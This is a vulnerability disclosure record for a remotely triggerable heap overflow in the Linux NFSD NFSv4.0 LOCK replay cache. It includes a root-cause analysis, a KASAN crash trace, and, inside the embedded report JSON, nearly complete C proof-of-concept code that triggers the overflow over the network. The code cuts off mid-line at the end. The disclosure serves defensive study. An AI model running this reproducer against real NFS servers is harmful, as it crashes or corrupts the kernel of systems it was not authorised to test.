ANT-2026-M3T0RBQ8 · torvalds/linux

heap-buffer-overflow high

Severity Claude high · Security research firm - · Maintainer -

REPORT

Anthropic's analysis of this finding, sealed at approval.

ANT-2026-M3T0RBQ8: NFSD: remotely exploitable heap buffer overflow in NFSv4.0 LOCK replay cache

The NFSv4.0 seqid replay cache embeds a fixed 112-byte rp_ibuf in struct nfs4_replay (fs/nfsd/state.h), sized only for OPEN responses. When a LOCK is denied due to a conflicting lock, nfsd4_encode_lock_denied() encodes the full conflicting lock owner (attacker-controlled, up to NFS4_OPAQUE_LIMIT = 1024 bytes) into the XDR stream, and nfsd4_encode_operation() then memcpy's the encoded response into rp_ibuf via read_bytes_from_xdr_buf() with no length check. An unauthenticated network attacker reaching an NFSv4.0 export on port 2049 can use two cooperating clients: client A takes a lock with a 1024-byte owner, client B requests a conflicting lock, and the resulting 1056-byte denied response overwrites 944 bytes past rp_ibuf into adjacent nfs4_openowner slab objects. The overflow contents are attacker-controlled (the lock owner opaque), giving a kernel heap write primitive.

Target

Project: torvalds/linux
Version: Linux 2.6 - 7.0-rc1 (reproduced on 6.18 and 7.0-rc1)
Location: nfsd4_encode_operation() in fs/nfsd/nfs4xdr.c (copy into nfs4_replay.rp_ibuf[NFSD4_REPLAY_ISIZE])

Technical Details

KASAN: "BUG: KASAN: slab-out-of-bounds in read_bytes_from_xdr_buf+0x117/0x180 — Write of size 288 at addr ffff888105dda0e0". The root cause is that NFSD4_REPLAY_ISIZE (112) was estimated only from the OPEN response layout and never updated when LOCK support was added; LOCK denied responses embed a variable-length lock_owner opaque bounded only by NFS4_OPAQUE_LIMIT (1024). nfsd4_encode_operation() computes len = xdr->buf->len - (op_status_offset + XDR_UNIT) and calls read_bytes_from_xdr_buf(..., so->so_replay.rp_buf, len) into the 112-byte rp_ibuf without checking len against NFSD4_REPLAY_ISIZE.

Crash trace (truncated — full trace in attached crash.log):

[   64.995143] ==================================================================
[   65.000196] BUG: KASAN: slab-out-of-bounds in read_bytes_from_xdr_buf+0x117/0x180
[   65.003396] Write of size 288 at addr ffff888105dda0e0 by task nfsd/138
[   65.006814] CPU: 1 UID: 0 PID: 138 Comm: nfsd Not tainted 6.19.0-rc8 #2 PREEMPT(voluntary)
[   65.006821] Call Trace:
[   65.006824]  <TASK>
[   65.006826]  dump_stack_lvl+0x66/0xa0
[   65.006834]  print_report+0xd0/0x660
[   65.006854]  kasan_report+0xe4/0x120
[   65.006863]  kasan_check_range+0x105/0x1b0
[   65.006867]  __asan_memcpy+0x3c/0x60
[   65.006870]  read_bytes_from_xdr_buf+0x117/0x180
[   65.006878]  ? nfsd4_lock+0x86c/0x3ce0
[   65.006886]  ? nfsd4_encode_lock4denied+0x31a/0x400
[   65.006893]  nfsd4_encode_operation+0x55b/0xd10
[   65.006898]  nfsd4_proc_compound+0x5c0/0x25b0
[   65.006911]  nfsd_dispatch+0x24a/0x730
[   65.006927]  svc_process+0x1523/0x2240
[   65.006952]  svc_recv+0x17ba/0x22d0
[   65.006965]  nfsd+0x1f7/0x300
[   65.006974]  kthread+0x313/0x660
[   65.006988]  ret_from_fork+0x4c8/0x5d0
[   65.007011]  ret_from_fork_asm+0x1a/0x30
[   65.007016]  </TASK>
[   65.099372] Allocated by task 138:
[   65.104128]  __kasan_slab_alloc+0x6e/0x70
[   65.105908]  kmem_cache_alloc_noprof+0x1d6/0x650
[   65.107933]  nfsd4_process_open1+0x3c8/0x1020
[   65.109819]  nfsd4_open+0x3f9/0x3700
[   65.111385]  nfsd4_proc_compound+0xbfb/0x25b0
[   65.125790] The buggy address belongs to the object at ffff888105dda000
[   65.125790]  which belongs to the cache nfs4_openowner of size 400
[   65.131806] The buggy address is located 224 bytes inside of
[   65.131806]  allocated 400-byte region [ffff888105dda000, ffff888105dda190)

Reproduction

  1. Client A: SETCLIENTID + SETCLIENTID_CONFIRM to establish clientid_a
  2. Client A: OPEN 'lockfile' and OPEN_CONFIRM to obtain open_stateid_a
  3. Client A: LOCK the file with a 1024-byte lock_owner opaque; lock is granted
  4. Client B: SETCLIENTID + SETCLIENTID_CONFIRM to establish clientid_b
  5. Client B: OPEN the same 'lockfile' and OPEN_CONFIRM
  6. Client B: LOCK the same byte range; server returns NFS4ERR_DENIED and encodes a 1056-byte lock4denied response containing A's 1024-byte owner
  7. nfsd4_encode_operation() copies the 1056-byte response into the 112-byte rp_ibuf replay cache, overwriting 944 bytes of adjacent slab memory

[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-M3T0RBQ8.


Reference: ANT-2026-M3T0RBQ8
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure

TIMELINE

Dates from discovery through public reveal.

  1. 2026-02-22 Sent to maintainer
  2. 2026-02-22 Maintainer acknowledged
  3. 2026-03-15 Patch released
  4. 2026-05-14 Reported to tracker
  5. 2026-06-30 Publicly revealed
PROVENANCE

SHA-3-512 hash:

a805219b84505426056bffd259174459f64842bd3751bae763b1bc50ac082b6705094982e4d4c5e4c562ceddd18bdc216b5b7c34187ad919fa01fa4499f4d8cb

Committed 2026-02-22 16:14 PT

Revealed 2026-06-30 18:10 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-M3T0RBQ8",
  "bug_class": "Heap Buffer Overflow",
  "claude_severity": "high",
  "commit_sha": null,
  "created_at": "2026-05-14T22:41:27+00:00",
  "description": "The NFSv4.0 seqid replay cache embeds a fixed 112-byte rp_ibuf in struct nfs4_replay (fs/nfsd/state.h), sized only for OPEN responses. When a LOCK is denied due to a conflicting lock, nfsd4_encode_lock_denied() encodes the full conflicting lock owner (attacker-controlled, up to NFS4_OPAQUE_LIMIT = 1024 bytes) into the XDR stream, and nfsd4_encode_operation() then memcpy's the encoded response into rp_ibuf via read_bytes_from_xdr_buf() with no length check. An unauthenticated network attacker reaching an NFSv4.0 export on port 2049 can use two cooperating clients: client A takes a lock with a 1024-byte owner, client B requests a conflicting lock, and the resulting 1056-byte denied response overwrites 944 bytes past rp_ibuf into adjacent nfs4_openowner slab objects. The overflow contents are attacker-controlled (the lock owner opaque), giving a kernel heap write primitive.",
  "discovered_at": "2026-02-23T00:14:33+00:00",
  "location": "nfsd4_encode_operation() in fs/nfsd/nfs4xdr.c (copy into nfs4_replay.rp_ibuf[NFSD4_REPLAY_ISIZE])",
  "poc_sha256": null,
  "preimage_version": 1,
  "project": "torvalds/linux",
  "reproduction": [
    "1. Client A: SETCLIENTID + SETCLIENTID_CONFIRM to establish clientid_a",
    "2. Client A: OPEN 'lockfile' and OPEN_CONFIRM to obtain open_stateid_a",
    "3. Client A: LOCK the file with a 1024-byte lock_owner opaque; lock is granted",
    "4. Client B: SETCLIENTID + SETCLIENTID_CONFIRM to establish clientid_b",
    "5. Client B: OPEN the same 'lockfile' and OPEN_CONFIRM",
    "6. Client B: LOCK the same byte range; server returns NFS4ERR_DENIED and encodes a 1056-byte lock4denied response containing A's 1024-byte owner",
    "7. nfsd4_encode_operation() copies the 1056-byte response into the 112-byte rp_ibuf replay cache, overwriting 944 bytes of adjacent slab memory"
  ],
  "technical_details": "Hi --\n\nI believe I have found another remotely exploitable vulnerability in\n\nthe kernel. This one requires that NFSD is listening on port 2049. It\n\nis a heap buffer overflow that allows for an adversary to write 944\n\nbytes past the end of a buffer. I found this bug with the use of an\n\nLLM, but have written this email myself and validated the bug myself.\n\nI believe everything here is correct and any mistakes are mine.\n\nThe specific vulnerability is that when an NFSv4.0 LOCK operation is\n\ndenied due to a conflicting lock, the server encodes the conflicting\n\nlock owner into a fixed-size 112-byte replay cache buffer without\n\nbounds checking. A lock owner longer than ~80 bytes overflows the\n\nbuffer, corrupting adjacent kernel heap (slab) memory. An\n\nunauthenticated network attacker with access to an NFSv4.0 server can\n\ntrigger this bug with two cooperating clients.\n\nI've reproduced this vulnerability in v7.0-rc1 and in 6.18, but this\n\nvulnerability is present as far back as 2.6 if I’m tracing things\n\nproperly.\n\nNFSv4.0 uses a seqid-based replay cache for state-changing operations\n\n(OPEN, LOCK, etc.). Each state owner (nfs4_stateowner) contains an\n\nembedded nfs4_replay structure in /fs/nfsd/state.h with a fixed-size\n\nbuffer defined as follows:\n\n#define NFSD4_REPLAY_ISIZE       112\n\nstruct nfs4_replay {\n\n__be32 rp_status;\n\nunsigned int rp_buflen;\n\nchar *rp_buf;\n\nstruct knfsd_fh rp_openfh;\n\nint rp_locked;\n\nchar rp_ibuf[NFSD4_REPLAY_ISIZE];\n\n};\n\nThere is a comment above the #define describing the reason for the value 112:\n\n/* A reasonable value for REPLAY_ISIZE was estimated as follows:\n\n * The OPEN response, typically the largest, requires\n\n *   4(status) + 8(stateid) + 20(changeinfo) + 4(rflags) +  8(verifier) +\n\n *   4(deleg. type) + 8(deleg. stateid) + 4(deleg. recall flag) +\n\n *   20(deleg. space limit) + ~32(deleg. ace) = 112 bytes\n\n */\n\nUnfortunately, this estimate only considered OPEN responses. It did\n\nnot account for LOCK denied responses, which include the conflicting\n\nlock owner as a variable-length opaque field.\n\n(A bit of fun history. This comment was correct as written — in fact,\n\nthe commit that sized this buffer wrote in the message \"LOCK and\n\nUNLOCK will be added when byte-range locking is done (soon!)”. But\n\nwhen the LOCK code was added later, the size of this buffer was never\n\nincreased.)\n\nThe overflow vulnerability occurs in nfsd4_encode_operation(), which\n\nboth encodes a response and saves it to the replay cache in the same\n\ncall. It works in two phases.\n\n1. Encode: Call the op-specific encoder (e.g., nfsd4_encode_lock()),\n\nwhich writes the response into the XDR output stream. For a LOCK\n\ndenied, this calls nfsd4_encode_lock_denied(), which writes the full\n\nlock4denied structure -- including the conflicting lock owner -- into\n\nthe XDR buffer.\n\n2. Cache: Measure how many bytes were just encoded, then copy that\n\nmany bytes from the XDR stream into the replay cache buffer.\n\nIn the file fs/nfsd/nfs4xdr.c, the nfsd4_encode_operation function\n\nworks as follows:\n\nvoid\n\nnfsd4_encode_operation(struct nfsd4_compoundres *resp, struct nfsd4_op *op)\n\n{\n\n[…]\n\nop_status_offset = xdr->buf->len;\n\n[…]\n\nop->status = encoder(resp, op->status, &op->u);\n\n[…]\n\n           if (so) {\n\nint len = xdr->buf->len - (op_status_offset + XDR_UNIT);\n\nso->so_replay.rp_status = op->status;\n\nso->so_replay.rp_buflen = len;\n\nread_bytes_from_xdr_buf(xdr->buf, op_status_offset + XDR_UNIT,\n\nso->so_replay.rp_buf, len);\n\n}\n\n}\n\nThis final write is where the overflow happens, because len comes\n\n(indirectly) from the adversary and is only constrained to be <= 1024\n\nbytes in fs/nfsd/nfs4xdr.c comparing to NFS4_OPAQUE_LIMIT.\n\nReaching this line of code takes a bit of work. The attack requires\n\ntwo cooperating NFSv4.0 clients and proceeds in 7 steps:\n\n       Client A                    NFS Server                    Client B\n\n         |                            |                            |\n\n    (1)  |--- SETCLIENTID ----------->|                            |\n\n         |<-- clientid_a, confirm ----|                            |\n\n         |--- SETCLIENTID_CONFIRM --->|                            |\n\n         |                            |                            |\n\n    (2)  |--- OPEN \"lockfile\" ------->|                            |\n\n         |<-- open_stateid_a ---------|                            |\n\n         |--- OPEN_CONFIRM ---------->|                            |\n\n         |                            |                            |\n\n    (3)  |--- LOCK (1024-byte owner)->|  lock_owner = 1024b buf    |\n\n         |<-- lock_stateid_a ---------|  Lock granted              |\n\n         |                            |                            |\n\n    (4)  |                            |<-- SETCLIENTID ------------|\n\n         |                            |--- clientid_b, confirm --->|\n\n         |                            |<-- SETCLIENTID_CONFIRM ----|\n\n         |                            |                            |\n\n    (5)  |                            |<-- OPEN \"lockfile\" --------|\n\n         |                            |--- open_stateid_b -------->|\n\n         |                            |<-- OPEN_CONFIRM -----------|\n\n         |                            |                            |\n\n    (6)  |                            |<-- LOCK (same range) ------|\n\n         |                            |                            |\n\n         |                   +--------+--------+                   |\n\n         |                   | LOCK DENIED!    |                   |\n\n         |                   | Encode response:|                   |\n\n         |                   |   offset:    8B |                   |\n\n         |                   |   length:    8B |                   |\n\n         |                   |   type:      4B |                   |\n\n         |                   |   clientid:  8B |                   |\n\n         |                   |   owner_len: 4B |                   |\n\n         |                   |   owner:  1024B |                   |\n\n         |                   |   TOTAL:  1056B |                   |\n\n         |                   |                 |                   |\n\n         |                   | Copy to replay: |                   |\n\n         |                   |   rp_ibuf[112]  |                   |\n\n         |                   |   1056 > 112    |                   |\n\n         |                   |  ** OVERFLOW ** |                   |\n\n         |                   +--------+--------+                   |\n\n         |                            |                            |\n\n    (7)  |                            |--- NFS4ERR_DENIED -------->|\n\n         |                            |                            |\n\n         |  Kernel heap corrupted.    |                            |\n\n         |  944 bytes overwritten     |                            |\n\n         |  past rp_ibuf boundary.    |                            |\n\nNote that the actual contents of the data on the wire are totally\n\nnormal. It is only the replay cache that has been corrupted.\n\nI’ve validated this bug when running on a qemu image with both a 6.18\n\nand 7.0 kernel. Below I’ve provided the KASAN crash where previously I\n\nwrote a 256 byte buffer:\n\n[   64.995143] ==================================================================\n\n[   65.000196] BUG: KASAN: slab-out-of-bounds in\n\nread_bytes_from_xdr_buf+0x117/0x180\n\n[   65.003396] Write of size 288 at addr ffff888105dda0e0 by task nfsd/138\n\n[   65.006059]\n\n[   65.006814] CPU: 1 UID: 0 PID: 138 Comm: nfsd Not tainted\n\n6.19.0-rc8 #2 PREEMPT(voluntary)\n\n[   65.006819] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX,\n\narch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n\n[   65.006821] Call Trace:\n\n[   65.006824]  <TASK>\n\n[   65.006826]  dump_stack_lvl+0x66/0xa0\n\n[   65.006834]  print_report+0xd0/0x660\n\n[   65.006841]  ? read_bytes_from_xdr_buf+0x117/0x180\n\n[   65.006845]  ? __virt_addr_valid+0x208/0x3f0\n\n[   65.006851]  ? read_bytes_from_xdr_buf+0x117/0x180\n\n[   65.006854]  kasan_report+0xe4/0x120\n\n[   65.006858]  ? read_bytes_from_xdr_buf+0x117/0x180\n\n[   65.006863]  kasan_check_range+0x105/0x1b0\n\n[   65.006867]  __asan_memcpy+0x3c/0x60\n\n[   65.006870]  read_bytes_from_xdr_buf+0x117/0x180\n\n[   65.006875]  ? __pfx_read_bytes_from_xdr_buf+0x10/0x10\n\n[   65.006878]  ? nfsd4_lock+0x86c/0x3ce0\n\n[   65.006886]  ? nfsd4_encode_lock4denied+0x31a/0x400\n\n[   65.006893]  nfsd4_encode_operation+0x55b/0xd10\n\n[   65.006898]  nfsd4_proc_compound+0x5c0/0x25b0\n\n[   65.006906]  ? lock_acquire+0x14d/0x2c0\n\n[   65.006911]  nfsd_dispatch+0x24a/0x730\n\n[   65.006915]  ? __pfx_nfsd_dispatch+0x10/0x10\n\n[   65.006918]  ? __asan_memset+0x23/0x50\n\n[   65.006921]  ? svc_generic_init_request+0x2e7/0x530\n\n[   65.006927]  svc_process+0x1523/0x2240\n\n[   65.006932]  ? svc_recv+0x1786/0x22d0\n\n[   65.006937]  ? __pfx_svc_process+0x10/0x10\n\n[   65.006941]  ? __pfx_nfsd_dispatch+0x10/0x10\n\n[   65.006943]  ? lockdep_hardirqs_on_prepare+0xda/0x190\n\n[   65.006948]  ? kvm_clock_get_cycles+0x18/0x30\n\n[   65.006952]  svc_recv+0x17ba/0x22d0\n\n[   65.006957]  ? __pfx_svc_recv+0x10/0x10\n\n[   65.006960]  ? lockdep_hardirqs_on_prepare+0xda/0x190\n\n[   65.006965]  nfsd+0x1f7/0x300\n\n[   65.006970]  ? __pfx_nfsd+0x10/0x10\n\n[   65.006974]  kthread+0x313/0x660\n\n[   65.006979]  ? __pfx_kthread+0x10/0x10\n\n[   65.006981]  ? lock_release+0xc5/0x260\n\n[   65.006986]  ? __pfx_kthread+0x10/0x10\n\n[   65.006988]  ret_from_fork+0x4c8/0x5d0\n\n[   65.006994]  ? __pfx_ret_from_fork+0x10/0x10\n\n[   65.006997]  ? __switch_to+0x44/0xe50\n\n[   65.007002]  ? __switch_to_asm+0x39/0x70\n\n[   65.007005]  ? __switch_to_asm+0x33/0x70\n\n[   65.007008]  ? __pfx_kthread+0x10/0x10\n\n[   65.007011]  ret_from_fork_asm+0x1a/0x30\n\n[   65.007016]  </TASK>\n\n[   65.007018]\n\n[   65.099372] Allocated by task 138:\n\n[   65.100858]  kasan_save_stack+0x33/0x60\n\n[   65.102518]  kasan_save_track+0x14/0x30\n\n[   65.104128]  __kasan_slab_alloc+0x6e/0x70\n\n[   65.105908]  kmem_cache_alloc_noprof+0x1d6/0x650\n\n[   65.107933]  nfsd4_process_open1+0x3c8/0x1020\n\n[   65.109819]  nfsd4_open+0x3f9/0x3700\n\n[   65.111385]  nfsd4_proc_compound+0xbfb/0x25b0\n\n[   65.113244]  nfsd_dispatch+0x24a/0x730\n\n[   65.114838]  svc_process+0x1523/0x2240\n\n[   65.116448]  svc_recv+0x17ba/0x22d0\n\n[   65.117995]  nfsd+0x1f7/0x300\n\n[   65.119443]  kthread+0x313/0x660\n\n[   65.121060]  ret_from_fork+0x4c8/0x5d0\n\n[   65.123008]  ret_from_fork_asm+0x1a/0x30\n\n[   65.125033]\n\n[   65.125790] The buggy address belongs to the object at ffff888105dda000\n\n[   65.125790]  which belongs to the cache nfs4_openowner of size 400\n\n[   65.131806] The buggy address is located 224 bytes inside of\n\n[   65.131806]  allocated 400-byte region [ffff888105dda000, ffff888105dda190)\n\n[   65.137881]\n\n[   65.138831] The buggy address belongs to the physical page:\n\n[   65.141688] page: refcount:0 mapcount:0 mapping:0000000000000000\n\nindex:0x0 pfn:0x105dda\n\n[   65.145804] head: order:1 mapcount:0 entire_mapcount:0\n\nnr_pages_mapped:0 pincount:0\n\n[   65.149712] flags: 0x200000000000040(head|node=0|zone=2)\n\n[   65.152642] page_type: f5(slab)\n\n[   65.154466] raw: 0200000000000040 ffff8881012eec80 dead000000000122\n\n0000000000000000\n\n[   65.158467] raw: 0000000000000000 0000000080110011 00000000f5000000\n\n0000000000000000\n\n[   65.162315] head: 0200000000000040 ffff8881012eec80\n\ndead000000000122 0000000000000000\n\n[   65.166077] head: 0000000000000000 0000000080110011\n\n00000000f5000000 0000000000000000\n\n[   65.169904] head: 0200000000000001 ffffea0004177681\n\n00000000ffffffff 00000000ffffffff\n\n[   65.173915] head: 0000000000000000 0000000000000000\n\n00000000ffffffff 0000000000000000\n\n[   65.177830] page dumped because: kasan: bad access detected\n\n[   65.180827]\n\n[   65.181816] Memory state around the buggy address:\n\n[   65.184443]  ffff888105dda080: 00 00 00 00 00 00 00 00 00 00 00 00\n\n00 00 00 00\n\n[   65.188246]  ffff888105dda100: 00 00 00 00 00 00 00 00 00 00 00 00\n\n00 00 00 00\n\n[   65.192004] >ffff888105dda180: 00 00 fc fc fc fc fc fc fc fc fc fc\n\nfc fc fc fc\n\n[   65.195877]                          ^\n\n[   65.198035]  ffff888105dda200: fc fc fc fc fc fc fc fc fc fc fc fc\n\nfc fc fc fc\n\n[   65.202029]  ffff888105dda280: fc fc fc fc fc fc fc fc fc fc fc fc\n\nfc fc fc fc\n\n[   65.206081] ==================================================================\n\n[   65.210303] Disabling lock debugging due to kernel taint\n\nHere’s the code to produce such a crashing input\n\n/*\n\n * NFSD replay cache slab-out-of-bounds write\n\n *\n\n * NFSv4.0 LOCK denied response includes the conflicting lock owner.\n\n * nfsd4_encode_operation() copies the encoded response into a fixed\n\n * 112-byte replay buffer (rp_ibuf[NFSD4_REPLAY_ISIZE]) with no bounds\n\n * check. A 1024-byte lock owner produces a 1056-byte response => 944-byte\n\n * heap overflow.\n\n *\n\n * Usage: gcc -o repro repro_min.c && ./repro <host> <port>\n\n */\n\n#include <stdio.h>\n\n#include <string.h>\n\n#include <unistd.h>\n\n#include <stdlib.h>\n\n#include <stdint.h>\n\n#include <sys/socket.h>\n\n#include <netinet/in.h>\n\n#include <arpa/inet.h>\n\n#include <time.h>\n\nstatic unsigned char buf[65536], rbuf[65536];\n\nstatic int pos;\n\nstatic uint32_t xid = 1;\n\nstatic void put32(uint32_t v) {\n\n    v = htonl(v);\n\n    memcpy(buf + pos, &v, 4);\n\n    pos += 4;\n\n}\n\nstatic void put64(uint64_t v) {\n\n    put32((uint32_t)(v >> 32));\n\n    put32((uint32_t)v);\n\n}\n\nstatic uint32_t get32(int off) {\n\n    uint32_t v;\n\n    memcpy(&v, rbuf + off, 4);\n\n    return ntohl(v);\n\n}\n\nstatic void put_opaque(const void *data, int len) {\n\n    put32(len);\n\n    memcpy(buf + pos, data, len);\n\n    pos += len;\n\n    while (pos % 4)\n\n        buf[pos++] = 0;\n\n}\n\nstatic void put_string(const char *s) {\n\n    put_opaque(s, strlen(s));\n\n}\n\nstatic void rpc_header(uint32_t proc) {\n\n    pos = 0;\n\n    put32(xid++);\n\n    put32(0);       /* CALL */\n\n    put32(2);       /* RPC version */\n\n    put32(100003);  /* NFS program */\n\n    put32(4);       /* NFSv4 */\n\n    put32(proc);\n\n    put32(1);       /* AUTH_SYS */\n\n    int auth_start = pos;\n\n    put32(0);       /* length placeholder */\n\n    put32(time(NULL));\n\n    put_string(\"x\");\n\n    put32(0);       /* uid */\n\n    put32(0);       /* gid */\n\n    put32(0);       /* aux gids count */\n\n    uint32_t auth_len = htonl(pos - auth_start - 4);\n\n    memcpy(buf + auth_start, &auth_len, 4);\n\n    put32(0);       /* AUTH_NONE verifier flavor */\n\n    put32(0);       /* AUTH_NONE verifier length */\n\n}\n\nstatic int txrx(int sock) {\n\n    uint32_t rm = htonl(0x80000000 | pos);\n\n    if (send(sock, &rm, 4, 0) != 4 || send(sock, buf, pos, 0) != pos)\n\n        return -1;\n\n    if (recv(sock, &rm, 4, MSG_WAITALL) != 4)\n\n        return -1;\n\n    int len = ntohl(rm) & 0x7FFFFFFF;\n\n    return recv(sock, rbuf, len, MSG_WAITALL);\n\n}\n\n/* Skip RPC reply + COMPOUND header, return offset to first op result */\n\nstatic int skip_reply_header(void) {\n\n    int o = 12;\n\n    if (get32(8) != 0)\n\n        return -1;\n\n    o += 4;\n\n    o += 4 + get32(o); /* verifier */\n\n    if (get32(o) != 0) /* accept_stat */\n\n        return -1;\n\n    o += 4;\n\n    o += 4; /* compound status (may be non-zero for expected errors) */\n\n    int taglen = get32(o);\n\n    o += 4 + ((taglen + 3) & ~3);\n\n    o += 4; /* nops */\n\n    return o;\n\n}\n\n/* Read op status, advance offset past op_type + status */\n\nstatic uint32_t op_status(int *o) {\n\n    *o += 4;\n\n    uint32_t st = get32(*o);\n\n    *o += 4;\n\n    return st;\n\n}\n\nstatic int tcp_connect(const char *host, int port) {\n\n    int s = socket(AF_INET, SOCK_STREAM, 0);\n\n    struct sockaddr_in addr = { .sin_family = AF_INET, .sin_port =\n\nhtons(port) };\n\n    inet_pton(AF_INET, host, &addr.sin_addr);\n\n    if (connect(s, (void *)&addr, sizeof(addr)) < 0) {\n\n        perror(\"connect\");\n\n        return -1;\n\n    }\n\n    return s;\n\n}\n\nstatic int setclientid(int s, const char *name, uint64_t *cid, uint64_t *cfm) {\n\n    rpc_header(1);\n\n    put_string(\"\");\n\n    put32(0);\n\n    put32(1); /* COMPOUND: 1 op */\n\n    put32(35); /* SETCLIENTID */\n\n    uint32_t verifier[2] = { htonl(getpid()), htonl(time(NULL)) };\n\n    memcpy(buf + pos, verifier, 8);\n\n    pos += 8;\n\n    put_string(name);\n\n    put32(0x40000000);\n\n    put_string(\"tcp\");\n\n    put_string(\"0.0.0.0.0.0\");\n\n    put32(1);\n\n    if (txrx(s) < 0)\n\n        return -1;\n\n    int o = skip_reply_header();\n\n    if (o < 0)\n\n        return -1;\n\n    o += 4;\n\n    if (get32(o) != 0)\n\n        return -1;\n\n    o += 4;\n\n    *cid = ((uint64_t)get32(o) << 32) | get32(o + 4);\n\n    o += 8;\n\n    *cfm = ((uint64_t)get32(o) << 32) | get32(o + 4);\n\n    return 0;\n\n}\n\nstatic int setclientid_confirm(int s, uint64_t cid, uint64_t cfm) {\n\n    rpc_header(1);\n\n    put_string(\"\");\n\n    put32(0);\n\n    put32(1);\n\n    put32(36); /* SETCLIENTID_CONFIRM */\n\n    put64(cid);\n\n    put64(cfm);\n\n    return txrx(s) < 0 ? -1 : 0;\n\n}\n\nstatic int open_file(int s, uint64_t cid, const char *owner, int owlen,\n\n                     const char *file, uint32_t sid[4], unsigned char\n\n*fh, int *fhlen) {\n\n    rpc_header(1);\n\n    put_string(\"\");\n\n    put32(0);\n\n    put32(3); /* COMPOUND: 3 ops */\n\n    put32(24); /* PUTROOTFH */\n\n    put32(18); /* OPEN */\n\n    put32(1);  /* seqid */\n\n    put32(3);  /* share_access: READ|WRITE */\n\n    put32(0);  /* share_deny */\n\n    put64(cid);\n\n    put_opaque(owner, owlen);\n\n    put32(0);  /* OPEN4_NOCREATE */\n\n    put32(0);  /* CLAIM_NULL */\n\n    put_string(file);\n\n    put32(10); /* GETFH */\n\n    if (txrx(s) < 0)\n\n        return -1;\n\n    int o = skip_reply_header();\n\n    if (o < 0)\n\n        return -1;\n\n    if (op_status(&o) != 0)\n\n        return -1; /* PUTROOTFH */\n\n    if (op_status(&o) != 0)\n\n        return -1; /* OPEN */\n\n    for (int i = 0; i < 4; i++)\n\n        sid[i] = get32(o + i * 4);\n\n    o += 16; /* stateid */\n\n    o += 20; /* cinfo */\n\n    o += 4;  /* rflags */\n\n    int bc = get32(o);\n\n    o += 4 + bc * 4; /* bitmap */\n\n    o += 4; /* delegation type */\n\n    if (op_status(&o) != 0)\n\n        return -1; /* GETFH */\n\n    *fhlen = get32(o);\n\n    o += 4;\n\n    memcpy(fh, rbuf + o, *fhlen);\n\n    return 0;\n\n}\n\nstatic int open_confirm(int s, unsigned char *fh, int fhlen, uint32_t sid[4]) {\n\n    rpc_header(1);\n\n    put_string(\"\");\n\n    put32(0);\n\n    put32(2); /* COMPOUND: 2 ops */\n\n    put32(22); /* PUTFH */\n\n    put_opaque(fh, fhlen);\n\n    put32(20); /* OPEN_CONFIRM */\n\n    for (int i = 0; i < 4; i++)\n\n        put32(sid[i]);\n\n    put32(2); /* seqid */\n\n    if (txrx(s) < 0)\n\n        return -1;\n\n    int o = skip_reply_header();\n\n    if (o < 0)\n\n        return -1;\n\n    if (op_status(&o) != 0)\n\n        return -1;\n\n    if (op_status(&o) != 0)\n\n        return -1;\n\n    for (int i = 0; i < 4; i++)\n\n        sid[i] = get32(o + i * 4);\n\n    return 0;\n\n}\n\nstatic int do_lock(int s, unsigned char *fh, int fhlen, uint32_t open_seqid,\n\n                   uint32_t osid[4], uint64_t cid, const void *owner,\n\nint owlen) {\n\n    rpc_header(1);\n\n    put_string(\"\");\n\n    put32(0);\n\n    put32(2); /* COMPOUND: 2 ops */\n\n    put32(22); /* PUTFH */\n\n    put_opaque(fh, fhlen);\n\n    put32(12); /* LOCK */\n\n    put32(2);  /* WRITE_LT */\n\n    put32(0);  /* reclaim = false */\n\n    put64(0);  /* offset */\n\n    put64(4096); /* length */\n\n    put32(1);  /* new_lock_owner = true */\n\n    put32(open_seqid);\n\n    for (int i = 0; i < 4; i++)\n\n        put32(osid[i]);\n\n    put32(0); /* lock_seqid */\n\n    put64(cid);\n\n    put_opaque(owner, owlen);\n\n    if (txrx(s) < 0)\n\n        return -1;\n\n    int o = skip_reply_header();\n\n    if (o < 0)\n\n        return -1;\n\n    if (op_status(&o) != 0)\n\n        return -1; /* PUTFH */\n\n    return get32(o + 4); /* LOCK status */\n\n}\n\nint main(int argc, char **argv) {\n\n    const char *host = argc > 1 ? argv[1] : \"127.0.0.1\";\n\n    int port = argc > 2 ? atoi(argv[2]) : 2049;\n\n    unsigned char big_owner[1024];\n\n    memset(big_owner, 'L', sizeof(big_owner));\n\n    unsigned char fh[256];\n\n    int fhlen;\n\n    uint64_t cid_a, cfm_a, cid_b, cfm_b;\n\n    uint32_t sid_a[4], sid_b[4];\n\n    int sa = tcp_connect(host, port);\n\n    int sb = tcp_connect(host, port);\n\n    if (sa < 0 || sb < 0)\n\n        return 1;\n\n    if (setclientid(sa, \"A\", &cid_a, &cfm_a) < 0)\n\n        return 1;\n\n    if (setclientid_confirm(sa, cid_a, cfm_a) < 0)\n\n        return 1;\n\n    if (setclientid(sb, \"B\", &cid_b, &cfm_b) < 0)\n\n        return 1;\n\n    if (setclientid_confirm(sb, cid_b, cfm_b) < 0)\n\n        return 1;\n\n    if (open_file(sa, cid_a, \"oA\", 2, \"lockfile\", sid_a, fh, &fhlen) < 0)\n\n        return 1;\n\n    if (open_confirm(sa, fh, fhlen, sid_a) < 0)\n\n        return 1;\n\n    if (open_file(sb, cid_b, \"oB\", 2, \"lockfile\", sid_b, fh, &fhlen) < 0)\n\n        return 1;\n\n    if (open_confirm(sb, fh, fhlen, sid_b) < 0)\n\n        return 1;\n\n    /* Client A: LOCK with 1024-byte owner */\n\n    int status, seq = 3;\n\n    for (int i = 0; i < 120; i++, seq++) {\n\n        status = do_lock(sa, fh, fhlen, seq, sid_a, cid_a, big_owner, 1024);\n\n        if (status != 10013) /* NFS4ERR_GRACE */\n\n            break;\n\n        sleep(1);\n\n    }\n\n    if (status != 0) {\n\n        fprintf(stderr, \"LOCK A failed: %d\\n\", status);\n\n        return 1;\n\n    }\n\n    printf(\"LOCK A granted (1024-byte owner)\\n\");\n\n    /* Client B: conflicting LOCK => NFS4ERR_DENIED => overflow */\n\n    char small_owner[4] = {0, 0, 0, 1};\n\n    status = do_lock(sb, fh, fhlen, 3, sid_b, cid_b, small_owner, 4);\n\n    printf(\"LOCK B status: %d %s\\n\", status,\n\n           status == 10010 ? \"(NFS4ERR_DENIED) -- 